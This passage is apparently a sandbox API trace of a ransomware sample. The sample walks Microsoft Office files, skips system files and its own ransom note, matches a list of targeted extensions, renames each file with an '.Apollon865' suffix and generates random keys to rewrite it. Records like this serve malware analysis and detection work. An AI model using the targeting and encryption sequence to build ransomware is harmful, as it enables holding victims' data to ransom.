	[0068.440] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0068.440] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0068.440] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0068.440] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0068.440] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0068.440] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0068.441] CloseHandle (hObject=0xd8) returned 1
	[0068.441] CloseHandle (hObject=0x15c) returned 1
	[0068.441] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0068.441] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0068.441] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0068.442] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x902d7600, ftCreationTime.dwHighDateTime=0x1c69abe, ftLastAccessTime.dwLowDateTime=0x6cdfd4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x902d7600, ftLastWriteTime.dwHighDateTime=0x1c69abe, nFileSizeHigh=0x0, nFileSizeLow=0xacb30, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PGLBL075.XML", cAlternateFileName="")) returned 1
	[0068.442] lstrcmpiW (lpString1="PGLBL075.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0068.442] lstrcmpiW (lpString1="PGLBL075.XML", lpString2="Apollon865.txt.exe") returned 1
	[0068.442] lstrcmpiW (lpString1="PGLBL075.XML", lpString2=".") returned 1
	[0068.442] lstrcmpiW (lpString1="PGLBL075.XML", lpString2="..") returned 1
	[0068.442] lstrcmpiW (lpString1="PGLBL075.XML", lpString2="windows") returned -1
	[0068.442] lstrcmpiW (lpString1="PGLBL075.XML", lpString2="bootmgr") returned 1
	[0068.442] lstrcmpiW (lpString1="PGLBL075.XML", lpString2="temp") returned -1
	[0068.442] lstrcmpiW (lpString1="PGLBL075.XML", lpString2="pagefile.sys") returned 1
	[0068.442] lstrcmpiW (lpString1="PGLBL075.XML", lpString2="boot") returned 1
	[0068.442] lstrcmpiW (lpString1="PGLBL075.XML", lpString2="ids.txt") returned 1
	[0068.442] lstrcmpiW (lpString1="PGLBL075.XML", lpString2="ntuser.dat") returned 1
	[0068.442] lstrcmpiW (lpString1="PGLBL075.XML", lpString2="perflogs") returned 1
	[0068.442] lstrcmpiW (lpString1="PGLBL075.XML", lpString2="MSBuild") returned 1
	[0068.442] lstrlenW (lpString="PGLBL075.XML") returned 12
	[0068.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL065.XML") returned 64
	[0068.442] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="PGLBL075.XML" | out: lpString1="PGLBL075.XML") returned="PGLBL075.XML"
	[0068.443] lstrlenW (lpString="PGLBL075.XML") returned 12
	[0068.443] lstrlenW (lpString="Apollon865") returned 10
	[0068.443] lstrcmpiW (lpString1="LBL075.XML", lpString2="Apollon865") returned 1
	[0068.443] lstrlenW (lpString=".dll") returned 4
	[0068.443] lstrcmpiW (lpString1="PGLBL075.XML", lpString2=".dll") returned 1
	[0068.443] lstrlenW (lpString=".lnk") returned 4
	[0068.443] lstrcmpiW (lpString1="PGLBL075.XML", lpString2=".lnk") returned 1
	[0068.443] lstrlenW (lpString=".ini") returned 4
	[0068.443] lstrcmpiW (lpString1="PGLBL075.XML", lpString2=".ini") returned 1
	[0068.443] lstrlenW (lpString=".sys") returned 4
	[0068.443] lstrcmpiW (lpString1="PGLBL075.XML", lpString2=".sys") returned 1
	[0068.443] lstrlenW (lpString="PGLBL075.XML") returned 12
	[0068.443] lstrlenW (lpString="bak") returned 3
	[0068.443] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0068.443] lstrlenW (lpString="ba_") returned 3
	[0068.443] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0068.443] lstrlenW (lpString="dbb") returned 3
	[0068.443] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0068.443] lstrlenW (lpString="vmdk") returned 4
	[0068.443] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0068.443] lstrlenW (lpString="rar") returned 3
	[0068.443] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0068.443] lstrlenW (lpString="zip") returned 3
	[0068.443] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0068.443] lstrlenW (lpString="tgz") returned 3
	[0068.443] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0068.443] lstrlenW (lpString="vbox") returned 4
	[0068.443] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0068.443] lstrlenW (lpString="vdi") returned 3
	[0068.443] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0068.443] lstrlenW (lpString="vhd") returned 3
	[0068.443] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0068.443] lstrlenW (lpString="vhdx") returned 4
	[0068.443] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0068.443] lstrlenW (lpString="avhd") returned 4
	[0068.443] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0068.443] lstrlenW (lpString="db") returned 2
	[0068.443] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0068.444] lstrlenW (lpString="db2") returned 3
	[0068.444] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0068.444] lstrlenW (lpString="db3") returned 3
	[0068.444] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0068.444] lstrlenW (lpString="dbf") returned 3
	[0068.444] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0068.444] lstrlenW (lpString="mdf") returned 3
	[0068.444] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0068.444] lstrlenW (lpString="mdb") returned 3
	[0068.444] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0068.444] lstrlenW (lpString="sql") returned 3
	[0068.444] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0068.444] lstrlenW (lpString="sqlite") returned 6
	[0068.444] lstrcmpiW (lpString1="75.XML", lpString2="sqlite") returned -1
	[0068.444] lstrlenW (lpString="sqlite3") returned 7
	[0068.444] lstrcmpiW (lpString1="075.XML", lpString2="sqlite3") returned -1
	[0068.444] lstrlenW (lpString="sqlitedb") returned 8
	[0068.444] lstrcmpiW (lpString1="L075.XML", lpString2="sqlitedb") returned -1
	[0068.444] lstrlenW (lpString="xml") returned 3
	[0068.444] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0068.444] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL075.XML.Apollon865") returned 75
	[0068.444] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL075.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl075.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL075.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl075.xml.apollon865"), dwFlags=0x1) returned 1
	[0068.445] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL075.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl075.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0068.445] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=707376) returned 1
	[0068.445] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0068.445] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0068.445] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0068.445] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0068.446] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0068.446] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0068.446] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xace30, lpName=0x0) returned 0x118
	[0068.448] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xace30) returned 0x4d0000
	[0068.483] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf898) returned 1
	[0068.484] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0068.484] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0068.484] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0068.484] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0068.484] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0068.484] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0068.484] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0068.484] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0068.484] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b3188
	[0068.485] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0068.485] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b3188 | out: hHeap=0x580000) returned 1
	[0068.485] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0068.485] UnmapViewOfFile (lpBaseAddress=0x4d0000) returned 1
	[0068.491] CloseHandle (hObject=0x118) returned 1
	[0068.491] CloseHandle (hObject=0x15c) returned 1
	[0068.491] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0068.491] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0068.491] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0068.494] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbcd1600, ftCreationTime.dwHighDateTime=0x1c6c538, ftLastAccessTime.dwLowDateTime=0x6ce23630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfbcd1600, ftLastWriteTime.dwHighDateTime=0x1c6c538, nFileSizeHigh=0x0, nFileSizeLow=0x6134, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PGLBL077.XML", cAlternateFileName="")) returned 1
	[0068.495] lstrcmpiW (lpString1="PGLBL077.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0068.495] lstrcmpiW (lpString1="PGLBL077.XML", lpString2="Apollon865.txt.exe") returned 1
	[0068.495] lstrcmpiW (lpString1="PGLBL077.XML", lpString2=".") returned 1
	[0068.495] lstrcmpiW (lpString1="PGLBL077.XML", lpString2="..") returned 1
	[0068.495] lstrcmpiW (lpString1="PGLBL077.XML", lpString2="windows") returned -1
	[0068.495] lstrcmpiW (lpString1="PGLBL077.XML", lpString2="bootmgr") returned 1
	[0068.495] lstrcmpiW (lpString1="PGLBL077.XML", lpString2="temp") returned -1
	[0068.495] lstrcmpiW (lpString1="PGLBL077.XML", lpString2="pagefile.sys") returned 1
	[0068.495] lstrcmpiW (lpString1="PGLBL077.XML", lpString2="boot") returned 1
	[0068.495] lstrcmpiW (lpString1="PGLBL077.XML", lpString2="ids.txt") returned 1
	[0068.495] lstrcmpiW (lpString1="PGLBL077.XML", lpString2="ntuser.dat") returned 1
	[0068.495] lstrcmpiW (lpString1="PGLBL077.XML", lpString2="perflogs") returned 1
	[0068.495] lstrcmpiW (lpString1="PGLBL077.XML", lpString2="MSBuild") returned 1
	[0068.495] lstrlenW (lpString="PGLBL077.XML") returned 12
	[0068.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL075.XML") returned 64
	[0068.495] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="PGLBL077.XML" | out: lpString1="PGLBL077.XML") returned="PGLBL077.XML"
	[0068.495] lstrlenW (lpString="PGLBL077.XML") returned 12
	[0068.495] lstrlenW (lpString="Apollon865") returned 10
	[0068.495] lstrcmpiW (lpString1="LBL077.XML", lpString2="Apollon865") returned 1
	[0068.495] lstrlenW (lpString=".dll") returned 4
	[0068.495] lstrcmpiW (lpString1="PGLBL077.XML", lpString2=".dll") returned 1
	[0068.495] lstrlenW (lpString=".lnk") returned 4
	[0068.495] lstrcmpiW (lpString1="PGLBL077.XML", lpString2=".lnk") returned 1
	[0068.495] lstrlenW (lpString=".ini") returned 4
	[0068.495] lstrcmpiW (lpString1="PGLBL077.XML", lpString2=".ini") returned 1
	[0068.495] lstrlenW (lpString=".sys") returned 4
	[0068.495] lstrcmpiW (lpString1="PGLBL077.XML", lpString2=".sys") returned 1
	[0068.495] lstrlenW (lpString="PGLBL077.XML") returned 12
	[0068.495] lstrlenW (lpString="bak") returned 3
	[0068.495] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0068.495] lstrlenW (lpString="ba_") returned 3
	[0068.495] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0068.495] lstrlenW (lpString="dbb") returned 3
	[0068.495] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0068.495] lstrlenW (lpString="vmdk") returned 4
	[0068.495] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0068.495] lstrlenW (lpString="rar") returned 3
	[0068.496] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0068.496] lstrlenW (lpString="zip") returned 3
	[0068.496] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0068.496] lstrlenW (lpString="tgz") returned 3
	[0068.496] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0068.496] lstrlenW (lpString="vbox") returned 4
	[0068.496] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0068.496] lstrlenW (lpString="vdi") returned 3
	[0068.496] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0068.496] lstrlenW (lpString="vhd") returned 3
	[0068.496] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0068.496] lstrlenW (lpString="vhdx") returned 4
	[0068.496] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0068.496] lstrlenW (lpString="avhd") returned 4
	[0068.496] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0068.496] lstrlenW (lpString="db") returned 2
	[0068.496] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0068.496] lstrlenW (lpString="db2") returned 3
	[0068.496] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0068.496] lstrlenW (lpString="db3") returned 3
	[0068.496] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0068.496] lstrlenW (lpString="dbf") returned 3
	[0068.496] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0068.496] lstrlenW (lpString="mdf") returned 3
	[0068.496] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0068.496] lstrlenW (lpString="mdb") returned 3
	[0068.496] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0068.496] lstrlenW (lpString="sql") returned 3
	[0068.496] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0068.496] lstrlenW (lpString="sqlite") returned 6
	[0068.496] lstrcmpiW (lpString1="77.XML", lpString2="sqlite") returned -1
	[0068.496] lstrlenW (lpString="sqlite3") returned 7
	[0068.496] lstrcmpiW (lpString1="077.XML", lpString2="sqlite3") returned -1
	[0068.496] lstrlenW (lpString="sqlitedb") returned 8
	[0068.496] lstrcmpiW (lpString1="L077.XML", lpString2="sqlitedb") returned -1
	[0068.496] lstrlenW (lpString="xml") returned 3
	[0068.496] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0068.496] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL077.XML.Apollon865") returned 75
	[0068.497] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL077.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl077.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL077.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl077.xml.apollon865"), dwFlags=0x1) returned 1
	[0068.497] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL077.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl077.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0068.498] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=24884) returned 1
	[0068.498] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0068.498] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0068.498] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0068.498] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf898) returned 1
	[0068.499] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0068.499] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0068.499] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6440, lpName=0x0) returned 0x118
	[0068.501] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6440) returned 0x100000
	[0068.503] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf898) returned 1
	[0068.503] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0068.503] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0068.503] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0068.503] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0068.503] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0068.503] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0068.503] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0068.503] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0068.504] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0068.504] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0068.504] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0068.504] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0068.504] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0068.504] CloseHandle (hObject=0x118) returned 1
	[0068.504] CloseHandle (hObject=0x15c) returned 1
	[0068.504] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0068.504] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0068.504] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0068.505] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe756a100, ftCreationTime.dwHighDateTime=0x1c6beda, ftLastAccessTime.dwLowDateTime=0x6ce23630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe756a100, ftLastWriteTime.dwHighDateTime=0x1c6beda, nFileSizeHigh=0x0, nFileSizeLow=0x753, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PGLBL078.XML", cAlternateFileName="")) returned 1
	[0068.505] lstrcmpiW (lpString1="PGLBL078.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0068.505] lstrcmpiW (lpString1="PGLBL078.XML", lpString2="Apollon865.txt.exe") returned 1
	[0068.505] lstrcmpiW (lpString1="PGLBL078.XML", lpString2=".") returned 1
	[0068.505] lstrcmpiW (lpString1="PGLBL078.XML", lpString2="..") returned 1
	[0068.505] lstrcmpiW (lpString1="PGLBL078.XML", lpString2="windows") returned -1
	[0068.505] lstrcmpiW (lpString1="PGLBL078.XML", lpString2="bootmgr") returned 1
	[0068.505] lstrcmpiW (lpString1="PGLBL078.XML", lpString2="temp") returned -1
	[0068.505] lstrcmpiW (lpString1="PGLBL078.XML", lpString2="pagefile.sys") returned 1
	[0068.505] lstrcmpiW (lpString1="PGLBL078.XML", lpString2="boot") returned 1
	[0068.505] lstrcmpiW (lpString1="PGLBL078.XML", lpString2="ids.txt") returned 1
	[0068.505] lstrcmpiW (lpString1="PGLBL078.XML", lpString2="ntuser.dat") returned 1
	[0068.505] lstrcmpiW (lpString1="PGLBL078.XML", lpString2="perflogs") returned 1
	[0068.505] lstrcmpiW (lpString1="PGLBL078.XML", lpString2="MSBuild") returned 1
	[0068.505] lstrlenW (lpString="PGLBL078.XML") returned 12
	[0068.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL077.XML") returned 64
	[0068.505] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="PGLBL078.XML" | out: lpString1="PGLBL078.XML") returned="PGLBL078.XML"
	[0068.505] lstrlenW (lpString="PGLBL078.XML") returned 12
	[0068.505] lstrlenW (lpString="Apollon865") returned 10
	[0068.505] lstrcmpiW (lpString1="LBL078.XML", lpString2="Apollon865") returned 1
	[0068.505] lstrlenW (lpString=".dll") returned 4
	[0068.505] lstrcmpiW (lpString1="PGLBL078.XML", lpString2=".dll") returned 1
	[0068.505] lstrlenW (lpString=".lnk") returned 4
	[0068.505] lstrcmpiW (lpString1="PGLBL078.XML", lpString2=".lnk") returned 1
	[0068.505] lstrlenW (lpString=".ini") returned 4
	[0068.505] lstrcmpiW (lpString1="PGLBL078.XML", lpString2=".ini") returned 1
	[0068.505] lstrlenW (lpString=".sys") returned 4
	[0068.505] lstrcmpiW (lpString1="PGLBL078.XML", lpString2=".sys") returned 1
	[0068.505] lstrlenW (lpString="PGLBL078.XML") returned 12
	[0068.505] lstrlenW (lpString="bak") returned 3
	[0068.505] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0068.505] lstrlenW (lpString="ba_") returned 3
	[0068.505] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0068.505] lstrlenW (lpString="dbb") returned 3
	[0068.506] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0068.506] lstrlenW (lpString="vmdk") returned 4
	[0068.506] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0068.506] lstrlenW (lpString="rar") returned 3
	[0068.506] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0068.506] lstrlenW (lpString="zip") returned 3
	[0068.506] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0068.506] lstrlenW (lpString="tgz") returned 3
	[0068.506] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0068.506] lstrlenW (lpString="vbox") returned 4
	[0068.506] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0068.506] lstrlenW (lpString="vdi") returned 3
	[0068.506] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0068.506] lstrlenW (lpString="vhd") returned 3
	[0068.506] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0068.506] lstrlenW (lpString="vhdx") returned 4
	[0068.506] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0068.506] lstrlenW (lpString="avhd") returned 4
	[0068.506] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0068.506] lstrlenW (lpString="db") returned 2
	[0068.506] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0068.506] lstrlenW (lpString="db2") returned 3
	[0068.506] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0068.506] lstrlenW (lpString="db3") returned 3
	[0068.506] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0068.506] lstrlenW (lpString="dbf") returned 3
	[0068.506] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0068.506] lstrlenW (lpString="mdf") returned 3
	[0068.506] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0068.506] lstrlenW (lpString="mdb") returned 3
	[0068.506] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0068.506] lstrlenW (lpString="sql") returned 3
	[0068.506] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0068.506] lstrlenW (lpString="sqlite") returned 6
	[0068.506] lstrcmpiW (lpString1="78.XML", lpString2="sqlite") returned -1
	[0068.506] lstrlenW (lpString="sqlite3") returned 7
	[0068.506] lstrcmpiW (lpString1="078.XML", lpString2="sqlite3") returned -1
	[0068.507] lstrlenW (lpString="sqlitedb") returned 8
	[0068.507] lstrcmpiW (lpString1="L078.XML", lpString2="sqlitedb") returned -1
	[0068.507] lstrlenW (lpString="xml") returned 3
	[0068.507] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0068.507] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL078.XML.Apollon865") returned 75
	[0068.507] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL078.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl078.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL078.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl078.xml.apollon865"), dwFlags=0x1) returned 1
	[0068.509] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL078.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl078.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
